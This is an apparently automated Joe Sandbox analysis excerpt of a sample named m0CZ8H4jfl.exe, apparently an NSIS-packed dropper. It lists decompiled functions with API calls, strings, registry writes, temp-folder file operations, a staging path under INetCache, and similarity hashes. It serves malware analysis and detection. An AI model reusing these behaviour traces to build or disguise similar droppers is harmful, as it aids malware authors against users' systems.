GetWindowsDirectoryW.KERNEL32(Call,?), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040629E

Strings

Call, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405853
\*.*, xrefs: 004058B1
"C:\Users\user\Desktop\m0CZ8H4jfl.exe", xrefs: 0040584F

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\m0CZ8H4jfl.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3068672937
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,00000001,00408598,?,?,00000045,000000CD,00000002,000000DF,?), ref: 00402114

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving
API String ID: 542301482-4023340444
Opcode ID: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(76F93420,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetUserDefaultUILanguage.KERNELBASE(00000002,76F93420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 004038B8

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F93420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\m0CZ8H4jfl.exe"), ref: 0040391F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F93420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(Call), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving), ref: 00403A06
RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

_Nb, xrefs: 00403A22, 00403A8A
RichEdit20W, xrefs: 00403AEA, 00403AF0
.exe, xrefs: 004039AC
"C:\Users\user\Desktop\m0CZ8H4jfl.exe", xrefs: 004038A1
Call, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEd32, xrefs: 00403ADA
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
1033, xrefs: 004038BE, 0040391A
RichEdit, xrefs: 00403AF9
RichEd20, xrefs: 00403ACC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\m0CZ8H4jfl.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-1519589771
Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\m0CZ8H4jfl.exe,?,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\m0CZ8H4jfl.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\m0CZ8H4jfl.exe,C:\Users\user\Desktop\m0CZ8H4jfl.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

(*B, xrefs: 00402E7C
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
soft, xrefs: 00402EDC
C:\Users\user\Desktop\m0CZ8H4jfl.exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
Null, xrefs: 00402EE5
Inst, xrefs: 00402ED3
Error launching installer, xrefs: 00402E3E
"C:\Users\user\Desktop\m0CZ8H4jfl.exe", xrefs: 00402DF4

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\m0CZ8H4jfl.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\m0CZ8H4jfl.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-1736084589
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,?,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp, xrefs: 00401819, 00401837
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00401796
C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll, xrefs: 0040182D, 00401849

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp$C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll$Call
API String ID: 1941528284-3268258928
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004030E7
... %d%%, xrefs: 0040316E
jA, xrefs: 004031F1

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNELBASE(?,?,?,00000001,?,?,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
